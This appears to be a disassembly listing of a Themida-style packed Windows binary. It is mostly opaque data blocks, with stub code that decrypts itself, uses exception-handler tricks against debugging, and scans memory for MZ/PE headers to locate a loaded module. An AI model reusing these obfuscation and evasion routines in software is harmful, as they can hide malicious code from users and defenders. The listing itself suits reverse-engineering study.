586B0100h, 35B00h, 0 dd 0DD189A00h, 77h, 2 dup(0) dd 59FCD000h, 24h dup(0) dd 0EC00h, 0C0029F00h, 0EBh, 2 dup(0) dd 12FEF800h, 7 dup(0) dd 658B4800h, 2 dup(0) dd 5AD7C600h, 0 dd 8C00h, 0A2391E00h, 6 dup(0) dd 148D8D00h, 0DDh, 9400h, 5 dup(0) dd 5AB0D500h, 0FE030400h, 7Fh, 3 dup(0) dd 0FFFFFF00h, 0FFh, 40E900h, 0A109F700h, 3 dup(0) dd 739000h, 5 dup(0) dd 8E143C00h, 12FF5402h, 5A28C900h, 3 dup(0) dd 0ACB9BF00h, 5Fh, 0 dd 0FF661700h, 0FFh, 59E2AD00h, 4 dup(0) dd 1FCFC00h, 80h, 0 dd 5834DF00h, 0 dd 42352100h, 0FE0304DDh, 5900237Fh, 2 dup(0) dd 0BAB94800h, 11h, 0 dd 0E8FBF000h, 0EBA6E9FAh, 5D45E577h, 9 dup(0) dd 5A572900h, 2 dup(0) dd 12FFA400h, 0FFFF4400h, 0FFh, 0Ah dup(0) dd 100h, 21h dup(0) dd 451C700h, 39h, 2 dup(0) dd 597FEF00h, 4 dup(0) dd 0FE0A0400h, 7Fh, 316A1000h, 2, 2 dup(0) dd 0A5A5E700h, 99E900h, 0 dd 0A39BAC00h, 0A222D800h, 3 dup(0) dd 4ACDCE00h, 2Fh, 3 dup(0) dd 0FE030400h, 7Fh, 2 dup(0) dd 56380200h, 82h, 5 dup(0) dd 12FF2400h, 17h dup(0) dd 0A3B13400h, 30EB00h, 0 dd 2300h, 0Ch dup(0) dd 5B9EA400h, 100h, 0Ch dup(0) dd 8358300h, 7401DD88h, 5643D8h, 2 dup(0) dd 0E1FFFD00h, 1, 4 dup(0) dd 58812700h, 59396400h, 0FE030400h, 7Fh, 5 dup(0) dd 4A8D8D00h, 0A242E7ECh, 34h, 3 dup(0) dd 0C409C800h, 2, 6 dup(0) dd 36363600h, 1FCFC36h, 80h, 5DBD1900h, 0A0B168CBh, 3 dup(0) dd 0A19C3700h, 0B1FFB000h, 1, 2 dup(0) dd 58130200h, 6E800h, 0E78D8D00h, 9960B7Dh, 7, 0A1229200h dd 5 dup(0) dd 0D4C96A00h, 77h, 1Ch dup(0) dd 0E6000000h, 77h, 5B995700h, 40339900h, 0B5h, 340A5300h dd 5Ch, 0FE030400h, 7Fh, 0E8061800h, 77h, 3 dup(0) dd 8E800h, 58002300h, 4 dup(0) dd 100h, 12FF5400h, 2 dup(0) dd 739000h, 0 dd 0ACC68400h, 990304D3h, 0B1A1FE4Dh, 6 dup(0) dd 9EFC5C00h, 75h, 5 dup(0) dd 0FFF7CE00h, 0FFh, 0 dd 4A9ABC00h, 2, 2 dup(0) dd 0C530DF00h, 0A9h, 7 dup(0) dd 0AB23DF00h, 0FFh, 2 dup(0) dd 0A242E700h, 34h, 5812DA00h, 3 dup(0) dd 0A3731600h, 8 dup(0) dd 0A0D55400h, 5 dup(0) dd 4E0FF00h, 70h, 4 dup(0) dd 941D5F00h, 26h, 0B13C00h, 0A826B700h, 0FFh, 3 dup(0) dd 0D4000000h, 77h, 3 dup(0) dd 12FFC400h, 3 dup(0) dd 0BC90AC00h, 1, 0 dd 58CF7300h, 9 dup(0) dd 0FE030400h, 7Fh, 3 dup(0) dd 0E001400h, 4 dup(0) dd 0E922CC00h, 5D478E72h, 0 dd 59E91E00h, 4 dup(0) dd 0CABBF100h, 25h, 0 dd 0A169DD00h, 5 dup(0) dd 0A55F3400h, 47E00FFh, 2 dup(0) dd 28010500h, 0Ah, 0A169DD00h, 5A17A900h, 6 dup(0) dd 6AEF00h, 3 dup(0) dd 0FE030400h, 7Fh, 5D2E7300h, 2 dup(0) dd 5842D300h, 7 dup(0) dd 5D609600h, 7 dup(0) dd 0A794C100h, 0FFh, 22222200h, 22222222h, 22h, 3 dup(0) dd 0B0FB1600h, 0E6770200h, 77h, 0B27BB400h, 0D6h, 490AC200h dd 80h, 4 dup(0) dd 0A3428900h, 7Fh, 0 dd 4D844C00h, 5D2E7829h, 5AC70A00h, 2 dup(0) dd 0CC905D00h, 7Bh, 5 dup(0) dd 5506A800h, 2Ch dup(0) dd 5C146100h, 0FE030400h, 7Fh, 739000h, 3 dup(0) dd 54DF1000h, 5 dup(0) dd 0DD00000h, 4 dup(0) dd 14462800h, 6 dup(0) dd 83E900h, 0A1915B00h, 95824000h, 0FEh, 2 dup(0) dd 12FF5400h, 1F567200h, 0 dd 6AEF00h, 93B46700h, 8Fh, 0 dd 11111100h, 11h, 8D99E900h, 57h, 8 dup(0) dd 100h, 0 dd 57D59400h, 87F05700h, 76h, 8 dup(0) dd 5BCB6500h, 0E75CB500h, 0A39BAC77h, 2 dup(0) dd 0FE7AE800h, 7Fh, 2 dup(0) dd 54DEDD00h, 586B3F00h, 0 dd 3787600h, 3 dup(0) dd 5959F800h, 0Fh dup(0) dd 7401DD00h, 5A52E6D8h db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54FC51: ; CODE XREF: start:loc_54C7ACj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 7E034AFh mov [ebp+7E03099h], edx mov [ebp+7E01B0Dh], esi mov [ebp+7E00671h], eax cmp dword ptr [ebp+7E00F8Dh], 0 jz short loc_54FC89 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_54FC89: ; CODE XREF: start+6FC67j mov eax, [esp+40h+var_1C] mov [ebp+7E01949h], eax push 45h call sub_54FD3D push 783749Ah call sub_54FD83 push 0A894B25h call sub_54FD83 jmp loc_54FEC7 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 45h dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh dd 0C1C0BFBEh, 0C3C2h, 2 dup(0) db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_54FD3D proc near ; CODE XREF: start+6FC81p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 7E0359Dh mov ebx, edx mov [ebp+var_28], 0 loc_54FD59: ; CODE XREF: sub_54FD3D+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_54FD78 mov eax, [ebp+arg_0] mov [ebx+7E03507h], eax inc [ebp+arg_0] inc ebx jmp short loc_54FD59 ; --------------------------------------------------------------------------- loc_54FD78: ; CODE XREF: sub_54FD3D+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_54FD3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_54FD83 proc near ; CODE XREF: start+6FC8Bp start+6FC95p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 7E035E6h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_54FDA9: ; CODE XREF: sub_54FD83+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_54FDA9 mov [ebp+var_84], 0 lea edi, [edx+7E03507h] lea esi, [ebp+var_80] loc_54FDD9: ; CODE XREF: sub_54FD83+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_54FDE5: ; CODE XREF: sub_54FD83+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_54FDE5 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_54FDD9 popa leave retn 4 sub_54FD83 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_54FE23 ; --------------------------------------------------------------------------- loc_54FE1F: ; CODE XREF: Themida_:0054FE26j inc dword ptr [ebp-4] inc esi loc_54FE23: ; CODE XREF: Themida_:0054FE1Dj cmp byte ptr [esi], 0 jnz short loc_54FE1F mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_54FEB4 ; --------------------------------------------------------------------------- loc_54FE35: ; CODE XREF: Themida_:0054FEB7j mov dword ptr [ebp-8], 0 jmp short loc_54FEAB ; --------------------------------------------------------------------------- loc_54FE3E: ; CODE XREF: Themida_:0054FEAFj mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_54FE98 ; --------------------------------------------------------------------------- loc_54FE4E: ; CODE XREF: Themida_:0054FE9Cj shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_54FE70 cmp bl, 39h ja short loc_54FE70 sub bl, 30h jmp short loc_54FE92 ; --------------------------------------------------------------------------- loc_54FE70: ; CODE XREF: Themida_:0054FE64j ; Themida_:0054FE69j cmp bl, 61h jb short loc_54FE82 cmp bl, 66h ja short loc_54FE82 sub bl, 61h add bl, 0Ah jmp short loc_54FE92 ; --------------------------------------------------------------------------- loc_54FE82: ; CODE XREF: Themida_:0054FE73j ; Themida_:0054FE78j cmp bl, 41h jb short loc_54FE92 cmp bl, 46h ja short loc_54FE92 sub bl, 41h add bl, 0Ah loc_54FE92: ; CODE XREF: Themida_:0054FE6Ej ; Themida_:0054FE80j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_54FE98: ; CODE XREF: Themida_:0054FE4Cj cmp dword ptr [ebp-0Ch], 2 jb short loc_54FE4E cmp dword ptr [ebp-10h], 0 jbe short loc_54FEA8 mov eax, [ebp-10h] stosb loc_54FEA8: ; CODE XREF: Themida_:0054FEA2j inc dword ptr [ebp-8] loc_54FEAB: ; CODE XREF: Themida_:0054FE3Cj cmp dword ptr [ebp-8], 2 jb short loc_54FE3E add edx, 4 loc_54FEB4: ; CODE XREF: Themida_:0054FE33j cmp edx, [ebp-4] jb loc_54FE35 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54FEC7: ; CODE XREF: start+6FC9Aj mov ecx, 7000h lea edi, [ebp+7E0372Ch] loc_54FED2: ; CODE XREF: start+6FEC2j dec byte ptr [edi] inc edi dec ecx jnz short loc_54FED2 mov eax, 48692121h mov edx, 0F00E0000h sub edx, 0F0000000h lea eax, [ebp+7E03812h] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax jnz loc_54FF0A cmc loc_54FF0A: ; CODE XREF: start+6FEEFj mov ebx, 263EC816h sub eax, edx ja loc_54FF28 jmp loc_54FF28 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 0C23DCB67h, 0D0D137B2h, 3E10365Dh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54FF28: ; CODE XREF: start+6FEFDj start+6FF03j and eax, 0FFFFF000h mov bx, 51B3h mov ecx, edx xor edi, edi loc_54FF35: ; CODE XREF: start+6FF3Cj cmp word ptr [eax], 5A4Dh jnz short loc_54FF4A movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz short loc_54FF52 loc_54FF4A: ; CODE XREF: start+6FF26j sub eax, 1000h inc edi jmp short loc_54FF35 ; --------------------------------------------------------------------------- loc_54FF52: ; CODE XREF: start+6FF34j pop large dword ptr fs:0 add esp, 4 lea edx, [ebp+7E03825h] push edx push large dword ptr fs:0 mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_54FF8C mov esi, [eax+1Ch] loc_54FF8C: ; CODE XREF: start+6FF73j xor eax, eax loc_54FF8E: ; CODE XREF: start+6FF8Dj cmp eax, 32h jz short loc_54FFB2 cmp word ptr [esi], 5A4Dh jz short loc_54FFA3 loc_54FF9A: ; CODE XREF: start+6FF9Cj sub esi, 10000h inc eax jmp short loc_54FF8E ; --------------------------------------------------------------------------- loc_54FFA3: ; CODE XREF: start+6FF84j mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_54FFF4 jmp short loc_54FF9A ; --------------------------------------------------------------------------- loc_54FFB2: ; CODE XREF: start+6FF7Dj pop large dword ptr fs:0 add esp, 4 popa retn ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 8B51h dd 8110244Ch, 0B0A9h, 100000h, 0C0335900h, 4C8B51C3h, 0E8551024h dd 0 aBa08rNeu7rIb db ']í08à',7,'…î7à',7,'‰¸',0 db 2 dup(0), 5Dh dd 0C3C03359h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54FFF4: ; CODE XREF: start+6FF9Aj xchg eax, esi pop large dword ptr fs:0 add esp, 4 push 0 push eax call sub_55000A and [eax-3Dh], bl ; END OF FUNCTION CHUNK FOR start ; =============== S U B R O U T I N E ======================================= sub_55000A proc near ; CODE XREF: start+6FFEEp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_55000A endp ; --------------------------------------------------------------------------- dw 0DEB2h dd 6ADFBF0Fh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 0A77AC353h, 14E95Ch, 9C9F0000h dd 3CE014BFh, 63BEB273h, 17C4A772h, 3476E12Fh, 8C66C5DCh dd 0D8B70FD9h, 8004E180h, 0C90A80F7h, 46850Fh, 11E90000h dd 0F3000000h, 0B368BF00h, 0AA03B177h, 4EF5CE62h, 0EB620917h dd 16B185C7h, 107E0h, 860F0000h, 5, 0C941EBBh, 23E95Eh dd 0F88A0000h, 0FE9h, 0F7CAB500h, 0FD7E3D0Fh, 64333D02h dd 0E99F6235h, 16B185C7h, 7E0h, 8B660000h, 18589D8h, 6607E02Fh dd 893941BBh, 0E0292D85h, 0EE807h, 0E2FB0000h, 4FD60C4h dd 3ADBCCE0h, 0B95100C5h, 0B45AC38Bh, 0EAC28182h, 0F8000063h dd 23D04DBEh, 7FEE8168h, 666823B7h, 8B8600BBh, 81DD8A3Ah dd 0F7929FEFh, 10E952h, 8B1F0000h, 0C49D562Ch, 0C0193F55h dd 3183679Fh, 0EF8190E6h, 4A6455E3h, 0C2290BBBh, 93EF8107h dd 0F8678A91h, 8FCB8B57h, 7E802h, 0AC3E0000h, 0A425CCEAh dd 0BF0F60CEh, 5961FCD0h, 0F01EA83h, 68Dh, 5E38100h, 4A522DA0h dd 81604A4Ah, 0C593ECDEh, 61D08B0Fh, 0F01EE83h, 0E85h dd 1AE900h, 33610000h, 0F4C4B6E8h, 0B5EEE48Ch, 0FF7DE9F5h dd 7CB9FFFFh, 0B5AEF67Dh, 0E7311246h, 21504EBh, 0C3E90000h dd 60000006h, 89F0BF0Fh, 0E01C6D85h, 8D316107h, 7E0204Dh dd 10E960h, 0C4FB0000h, 9D74A41Bh, 4652D2Ah, 3C7ABB08h dd 0B849ADh, 29000000h, 0E00029BDh, 24548B07h, 14E928h dd 70120000h, 0BD89A6B1h, 0D1C99A5Ah, 0ED889D72h, 5D870515h dd 8589B153h, 7E02941h, 0C0816660h, 8D890B3Ah, 7E01AB9h dd 3CBE61h, 800F0000h, 0Ch, 68A0Fh, 8A0F0000h, 0 dd 24247403h, 0C19D89h, 0AD6607E0h, 0C800Fh, 870F0000h dd 6, 890Fh, 890F0000h, 7, 1810Fh, 3F50000h, 0F8242444h dd 8860F50h, 0F000000h, 283h, 89616000h, 0B4602404h, 3995332Eh dd 6107E006h, 8978408Bh, 0E01E2985h, 24440307h, 6870F28h dd 89000000h, 0E01D818Dh, 18408B07h, 18D0Fh, 40F50000h dd 2281B531h, 858907E0h, 7E039DEh, 14E9h, 0B0334900h, 0B7D08BD3h dd 0CC3FE22Ch, 8C353668h, 1979E077h, 3D9D89EAh, 5807E02Bh dd 1811B589h, 708B07E0h, 19830F78h, 0E9000000h, 14h, 6ED57299h dd 1ED247C3h, 0B1C2E2C1h, 0A7E4F3E0h, 1AB31D96h, 0F1CC683h dd 68Bh, 61606000h, 3615E53h, 0F242474h, 685h, 0D58D2900h dd 8D07E020h, 0E0055DBDh, 0CE907h, 0EEF00000h, 64540A26h dd 92D0C044h, 0FAD621Ah, 0A80h, 0BD096000h, 7E015A9h, 361C28Ah dd 89242444h, 0E02A018Dh, 14E9AB07h, 1E000000h, 372B4B04h dd 176883D0h, 0F40694B3h, 82B07C96h, 8D697400h, 0E01559BDh dd 0AE907h, 0A34D0000h, 2C2BE260h, 49245FF6h, 6870FADh dd 29000000h, 0E0155595h, 24440307h, 0CD950124h, 5007E013h dd 9E9h, 42022000h, 0E60E7BC3h, 4891067h, 0EE924h, 82CC0000h dd 66BE3F04h, 0F022BD61h, 5A8D3A53h, 0BD8DF8ABh, 7E01ACDh dd 60FA8B60h, 0E8C38B66h, 12h, 63C403CBh, 4C4F9870h, 0AE1FC84Eh dd 0DEDF0BCh, 615EB592h, 79BD0961h, 0AD07E028h, 6E9h, 0ECEACC00h dd 3012AD9h, 0E9282444h, 0Eh, 0CDEDB0CDh, 7EF96CDCh, 0D605DA81h dd 0F9AB240Bh, 8166605Eh, 96140E1h, 0E02065BDh, 8DFF6107h dd 7E039DEh, 39DEBD83h, 750007E0h, 2444C710h, 1Ch, 0B2B58D00h dd 0FF07E03Eh, 3AD56E6h, 97282444h, 858ADF8Bh, 7E00759h dd 474C084h, 4C75073Ah, 0AEC03257h, 2B5EFD75h, 33FC52FBh dd 0D18B49C9h, 0DB33C033h, 8AC132ACh, 8AEA8ACDh, 6608B6D6h dd 0D166EBD1h, 660973D8h, 66504135h, 5449F381h, 0EB75CEFEh dd 0D333C833h, 0F7D5754Fh, 8BD1F7D2h, 10C0C1C2h, 5AC18B66h dd 0F74D03Bh, 4C6835Eh, 294185FFh, 6FE907E0h, 5EFFFFFFh dd 13E9h, 3AAEF500h, 6216C0DAh, 0BC2FFC02h, 0A6E01EE3h dd 37FB4C4Ah, 865B589h, 858B07E0h, 7E02941h, 17299D89h dd 0E0D107E0h, 19CD9D01h, 850307E0h, 7E01ACDh, 658D2960h dd 0F07E025h, 686h, 299D8900h, 6107E021h, 0BEh, 1850F00h dd 0FC000000h, 0AD66F596h, 605B5360h, 840Fh, 14E90000h dd 2A000000h, 429AED57h, 0A208756Bh, 0D4B2211Ch, 4CAB04FEh dd 613F1D6Ah, 2E0C161h, 6B4DBF60h, 0B8663AB7h, 36148CDh dd 0E0055D85h, 0FE907h, 609B0000h, 3B64696Ah, 30D21911h dd 93077956h, 8E99698h, 93000000h, 46C84F54h, 0ADC1438Fh dd 7E58501h, 4C8B07E0h, 0E9FC2424h, 13h, 6AE6DB18h, 45FB4AFFh dd 7F8693F5h, 2EB586B9h, 3470ACBh, 1242444h, 0E02D2DBDh dd 24448907h, 399D891Ch, 9607E013h, 9D896060h, 7E006A5h dd 6173D380h, 6890Fh, 820F0000h, 0 dd 8B0FAC61h, 7, 0E1816660h, 3261A8DAh, 13E9C9h, 3ACB0000h dd 0E07CE6D5h, 6FE714D4h, 0E63DC716h, 0D64AB054h, 0FC1FEE2h dd 0B80h, 6E900h, 0D8510000h, 7FDE250Eh, 830FD0D0h, 92h dd 4719D89h, 0D0D007E0h, 84830Fh, 0D0F80000h, 7B820FD0h dd 0F5000000h, 820FD0D0h, 72h, 0FC9FEF8h, 0FFFFCF89h, 6810FFFh dd 1000000h, 0E0239595h, 0C483F807h, 0E9958920h, 0C707E01Ch dd 0FC2444h, 60000000h, 89FE8B66h, 0E021AD8Dh, 1B86107h dd 0E9000000h, 9, 5FF71A49h, 123CF1BFh, 8D8D8DFFh, 0F07E074h dd 198Bh, 14E900h, 0D8570000h, 0FD047864h, 5F634140h, 26A6044Bh dd 39180C72h, 0E1FF6988h, 1BE19D29h, 85C607E0h, 7E00759h dd 11890F00h, 60000000h, 8E9FA8Ah, 0C0000000h, 1421A6D9h dd 614731F2h, 0B58B6061h, 7E026B1h, 6E9h, 9767F300h, 613AE209h dd 0E90008C2h, 10h, 0E5B83A74h, 5F971D92h, 4F29FF1Fh, 12A63857h dd 5E950h, 4E870000h, 8983B611h, 7E92434h, 0C8000000h dd 53E6F253h, 0B5895C50h, 7E04069h, 819D3360h, 6607E026h dd 8961C68Bh, 0E040878Dh, 0C68B6007h, 0F8BF0F53h, 0B58D615Ah dd 7E03F79h, 55BD2B60h, 6607E013h, 0C3C0E381h, 0A1858D61h dd 0F005B8Eh, 0B85h, 8B666000h, 800FF7h, 61000000h, 8B60D0FFh dd 0E001498Dh, 79B58907h, 6107E014h, 0DD9D895Eh, 0C307E016h dd 69B58BFCh, 0FC07E040h, 40878D8Bh, 5E907E0h, 96000000h dd 7E8EA30h, 18619531h, 0C02B07E0h, 201BD89h, 0D98B07E0h dd 33AD9D31h, 89E907E0h, 0F9000000h, 0B5312632h, 7E03445h dd 6E902B2h, 43000000h, 0AE7559F3h, 4DE9BAh, 32F90000h dd 6870FC2h, 29000000h, 0E01A21BDh, 1D7A0507h, 8A0F8A75h dd 1, 0F8CC8AF8h, 0FC8D3F9h, 188Dh, 13E900h, 0CD8B0000h dd 752AB5BAh, 2D35B1B1h, 2366A036h, 1E017CBDh, 8423576h dd 0B52998D1h, 7E01E31h, 0AF8CAFEh, 0AC850FD2h, 0E9FFFFFFh dd 0Fh, 2BD75A78h, 3BF5FD43h, 7080F5A0h, 4BA498BFh, 0F9F546F5h dd 850FDB0Bh, 0FFFFFF70h, 0FE9h, 85D5D300h, 17A2E588h dd 5A4BF58Dh, 0CD2151D8h, 13E9CFh, 0D5DD0000h, 0D8A3C5EFh dd 73A36620h, 36B68AEBh, 79C8D8BBh, 0F0000F1h, 0E87h, 9E900h dd 6D5B0000h, 61A1BB25h, 3779A6h, 318D8900h, 7E01Eh, 6830F00h dd 1000000h, 0E02F4D95h, 0E9000007h, 0Eh, 0EEFDF228h, 0C0843B09h dd 807D810h, 858DD6C4h, 7E039F8h, 0FE9h, 482FA800h, 0BEA89317h dd 96847119h, 8678E8Ch, 20018589h, 8DF807E0h, 0E03EFC85h dd 0D890F07h, 60000000h, 98D08166h, 0B59D8974h, 6107E02Dh dd 326D8589h, 7E807E0h, 42000000h, 6CB58C53h, 59FC2640h dd 0CE8h, 51EDAC00h, 0D60104FCh, 3BBBA7AFh, 1D958BBEh dd 5A07E01Dh, 6C2CC181h, 0BE90000h, 0A0000000h, 8080E576h dd 0AB84B4D5h, 0D368B4CCh, 0F00001Ah, 82h, 6E95800h, 0EB000000h dd 772531C0h, 0F31FF03h, 689h, 9858900h, 5B07E012h, 0EA77F381h dd 0BD8B7D24h, 7E01AC9h, 1E20EB81h, 858933C1h, 7E005A5h dd 960FEB81h, 958B479Ch, 7E033E9h, 68B0F53h, 0F000000h dd 82h, 83018F00h, 7E904E9h, 0B4000000h, 73D81CABh, 0E881FC8Eh dd 1, 16850Fh, 0BE660000h, 30E971D2h, 98000000h, 0E8199737h dd 0AD011D2Ch, 55610E3Ch, 13E9h, 182B9E00h, 16E7650Eh dd 0FEC1620Fh, 41CA276Fh, 8501C5C5h, 0FFFF70E9h, 57E343FFh dd 0EB0CEA6Ch, 14h, 3 dup(0) dd 8C00h, 0A1858D00h, 8907E042h, 0E010DD85h, 0E1BD8307h dd 7E041h, 12C840Fh, 85C60000h, 7E00759h, 62FA6856h, 3481F13Fh dd 200FC324h, 1B5FF25h, 8D07E02Fh, 0E039F885h, 89D0FF07h dd 0E041D585h, 5985C607h, 5607E007h, 0C5204768h, 24048169h dd 32E3980Bh, 2F01B5FFh, 858D07E0h, 7E039F8h, 8589D0FFh dd 7E041D9h, 4E8046Ah, 0 dd 50000010h, 424448Bh, 4489008Bh, 8B580424h, 0E041E585h dd 1F40507h, 0E0C10000h, 4895002h, 0FF006A24h, 0E041D995h dd 0DD858907h, 8B07E041h, 0FFFFB8D8h, 95FFFFFFh, 7E010DDh dd 95FFC38Bh, 7E010DDh, 8DE9h, 0E1BD8300h, 7E041h, 1850Fh dd 57C30000h, 41DDBD8Bh, 83AB07E0h, 0E041DD85h, 0C35F0407h dd 41E1BD83h, 0F0007E0h, 185h, 8360C300h, 0E041DDADh, 9D8B0407h dd 7E041DDh, 0FFFC7B83h, 26850Fh, 4E80000h, 0 dd 50000080h, 424448Bh, 4489008Bh, 6A580424h, 0FF33FF00h dd 0E041D595h, 0E9C36107h, 1Dh, 0A93C1C68h, 24048183h dd 7C5743E4h, 33FF006Ah, 41D595FFh, 0AD8307E0h, 7E041DDh dd 0FFA8E904h, 0E948FFFFh, 1ADh, 24748B60h, 247C8B24h dd 80B2FC28h, 8846068Ah, 2BB4707h, 2000000h, 5850FD2h dd 8A000000h, 0D2124616h, 0FFE2830Fh, 0D202FFFFh, 5850Fh dd 168A0000h, 0FD21246h, 6A83h, 2C03300h, 5850FD2h, 8A000000h dd 0D2124616h, 12A830Fh, 0D2020000h, 5850Fh, 168A0000h dd 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h, 850FD202h dd 5, 1246168Ah, 2C013D2h, 5850FD2h, 8A000000h, 0D2124616h dd 840FC013h, 6, 8AF82B57h, 7885F07h, 2BB47h, 70E90000h dd 0B8FFFFFFh, 1, 850FD202h, 5, 1246168Ah, 2C013D2h, 5850FD2h dd 8A000000h, 0D2124616h, 0FFDE820Fh, 0C32BFFFFh, 1BBh dd 34850F00h, 0B9000000h, 1, 850FD202h, 5, 1246168Ah, 2C913D2h dd 5850FD2h, 8A000000h, 0D2124616h, 0FFDE820Fh, 8B56FFFFh dd 0F3F52BF7h, 8E95EA4h, 48FFFFFFh, 8A08E0C1h, 0E88B4606h dd 1B9h, 0FD20200h, 585h, 46168A00h, 0C913D212h, 850FD202h dd 5, 1246168Ah, 0DE820FD2h, 3DFFFFFFh, 7D00h, 22830Fh dd 3D0000h, 0F000005h, 0E82h, 8B564100h, 0F3F02BF7h, 0B4E95EA4h dd 83FFFFFEh, 870F7FF8h, 3, 5602C183h, 0F02BF78Bh, 0E95EA4F3h dd 0FFFFFE9Bh, 3346068Ah, 1E8C0C9h, 17840Fh, 0D1830000h dd 56E88B02h, 0F02BF78Bh, 0BB5EA4F3h, 1, 0FFFE76E9h, 247C2BFFh dd 247C8928h, 8C2611Ch, 929BA00h, 0D3E90000h, 73000009h dd 1ACB061h, 0F14B2CD0h, 0D15297AEh, 0A9B75D3Dh, 0BC571780h dd 67664828h, 75732260h, 2EE96E6Eh, 0AA1B047h, 0E3432092h dd 0C001C5B9h, 0A6F25A2Fh, 0CC3478CBh, 7A724222h, 75212E61h dd 21EF6C6Eh, 10A1B044h, 0F95E3F92h, 0DC1FC5A6h, 0B2E54131h dd 0F85713C5h, 7A76556Eh, 74736370h, 35EF7920h, 16B8B052h dd 0F75E3EDDh, 0CBA6h, 62h dup(0) dd 73000000h, 0BA5B061h, 0F95830DCh, 0CB02C5B9h, 0AAE54933h dd 0FD515288h, 6C71073Dh, 66216C61h, 24EE756Fh, 0ABDE200h dd 0F14230DCh, 991C8CEBh, 0B9E24125h, 0EF4001C5h, 277E423Ah dd 6C510F0Eh, 25F36165h, 0ABDB00Ch, 0F24D36DEh, 99068CEBh dd 0A6F85C3Ah, 0F15C1FC5h, 296A5521h, 20656C65h, 34F36572h dd 44BCE241h, 0E45936CBh, 0D60095EBh, 0A6F65C3Bh, 0CBh dd 47h dup(0) dd 73000000h, 16ABB061h, 0F3473AD3h, 9901C2B9h, 0A7F84128h dd 0EF581AC5h, 6C76456Eh, 6F67226Ah, 60E46E75h, 0AA6E552h dd 0B64B37DBh, 0C0528BA2h, 0EBE55B33h, 0E84A0B96h, 33D4A2Bh dd 656D5209h, 6CE57361h, 8A6E500h, 0B64838DDh, 0DF5291A2h dd 0EBFA412Eh, 0F3541788h, 68335E3Ch, 7221666Ah, 21F47365h dd 1DE8E452h, 0B65E2CDDh, 0DE1D97BBh, 0E5FA4F2Eh, 61h dup(0) dd 73000000h, 1A4F966h, 0E4433A92h, 0CD0290B9h, 0E5B64A39h dd 0F55126C5h, 7B63073Dh, 6173656Bh, 21E8206Dh, 1AAB053h dd 0FB0C37D7h, 0C91B8BAAh, 0BFF64229h, 0FD191680h, 64334320h dd 65637B65h, 34E90D0Ah, 0DE8E307h, 0F5493FDCh, 991680BFh dd 0AAB7573Eh, 0EE5024C5h, 6633543Bh, 72622276h, 25EB6361h dd 30E8BE44h, 0B65F30DAh, 0DC1E8CADh, 0A5F8597Ch, 0EB1906C2h dd 29785521h, 6D786C65h, 6EE5726Fh, 0E0h dup(0) dd 57000000h, 6D754E4Ch, 734C4C44h, 746F7250h, 3000h, 8 dup(0) dd 69784500h, 74532074h, 73757461h, 25203D20h, 64h, 0 dd 31E90000h, 6A00002Fh, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 17042444h, 41000000h, 3A17C351h, 9D8B1379h dd 7E02E25h, 56006AFCh, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 711B1F9Bh, 79D8589h, 0C08B07E0h dd 